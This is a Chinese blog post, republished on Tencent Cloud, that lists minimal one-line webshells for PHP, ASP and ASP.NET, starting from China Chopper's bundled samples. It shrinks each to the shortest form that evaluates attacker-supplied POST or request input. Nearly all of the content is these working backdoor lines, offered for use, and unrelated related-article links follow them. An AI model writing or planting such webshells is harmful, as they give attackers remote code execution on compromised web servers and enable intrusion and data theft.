最短的各类一句话木马

菜刀readme.txt中附带一3个一句话: PHP:

1

<!--?php @eval($_POST['chopper']);?-->

ASP:

1

&lt;%eval request("chopper")%&gt;

ASP.NET:

1

&lt;%@ Page Language="Jscript"%&gt;&lt;%eval(Request.Item["chopper"],"unsafe");%&gt;

抛弃密码的长度不算,其实这3个一句话均不是最短的。 如: PHP我们可以这样写:

1

<!--?php @eval($_POST['0']);?-->

原版

1

<!--?=eval($_POST[0]);? &gt;&lt;br ?-->

缩小版 ASP我们可以这样写:

1

&lt;%eval request("0")%&gt;

原版

1

&lt;%eval request(0)%&gt;

缩小版 ASP.NET可以这样写:

1

&lt;%@ Page Language="Jscript"%&gt;&lt;%eval(Request.Item["z"],"unsafe");%&gt;

原版

1

&lt;%@Page Language=JS%&gt;&lt;%eval(Request.Item(0),"unsafe");%&gt;

缩小版 当然你也可以把它写成这样(很显然体积上不占优势):

1

&lt;%@Page Language="JAVASCRIPT"%&gt;&lt;%eval(Request.Item(0),"unsafe");%&gt;

已经用了许久的东西,直接回复原贴感觉很多人看不到,还是单独发出来吧。 和原求助贴中的最长字符数对比:

1

&lt;%@ Page Language="Jscript"%&gt;&lt;%eval(Request.Item["1"],"unsafe

1

&lt;%@Page Language=JS%&gt;&lt;%eval(Request.Item(0),"unsafe");%&gt;

显然达到目的了。

原文发布于微信公众号 - 我为Net狂(dotNetCrazy)

原文发表时间:2015-11-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏向治洪

butternife Zelezny自动注入插件

插件地址:http://plugins.jetbrains.com/plugin/7369 Products: IntelliJ IDEA, RubyMine...

19480
来自专栏向治洪

保证service存活

Android开发的过程中,每次调用startService(Intent)的时候,都会调用该Service对象的onStartCommand(Intent,i...

20170
来自专栏向治洪

IntentService简介

在manifest中声明服务 和activity、content provider一样,服务也必须要在AndroidManifest文件中进行声明是<app...

208100
来自专栏hbbliyong

WPF刷新界面之坎坷路

   项目需要一个硬件检测功能,需要用到界面刷新,刚开始想用个定时器,对检测过的硬设定时添加后刷新界面。 但是很遗憾,定时器并不能进行刷新。后台检测List数据...

40470
来自专栏一只程序汪的自我修养

手把手教你用.NET Core写爬虫

自从上一个项目58HouseSearch从.NET迁移到.NET core之后,磕磕碰碰磨蹭了一个月才正式上线到新版本。

370120
来自专栏玄魂工作室

Scrapy爬虫入门

快两周了,还没缓过来劲,python 黑帽的系列教程今天才开始捡起来。不过工作又要忙了,晚上照顾玄小魂,白天敲代码,抽时间写文章,真的有点心力交瘁。不过没关系,...

33370
来自专栏大数据挖掘DT机器学习

Scrapy爬虫轻松抓取网站数据(以bbs为例,提供源码)

Scrapy是一个为了爬取网站数据,提取结构性数据而编写的应用框架。 可以应用在包括数据挖掘,信息处理或存储历史数据等一系列的程序中。   其最初是为了页面抓取...

47590
来自专栏移动端开发

NSURLSession 所有的都在这里(一)

60930
来自专栏Jerry的SAP技术分享

通过一个实际例子理解Kubernetes里pod的自动scale - 水平自动伸缩

kubectl scale命令用于程序在负载加重或缩小时进行pod扩容或缩小,我们通过一些实际例子来观察scale命令到底能达到什么效果。

15730
来自专栏Kubernetes

解析Kubernetes 1.8中的

Author: xidianwangtao@gmail.com Kubernetes 1.8中对scheduler的更新 【Alpha】支持定义Prior...

31180

扫码关注云+社区

领取腾讯云代金券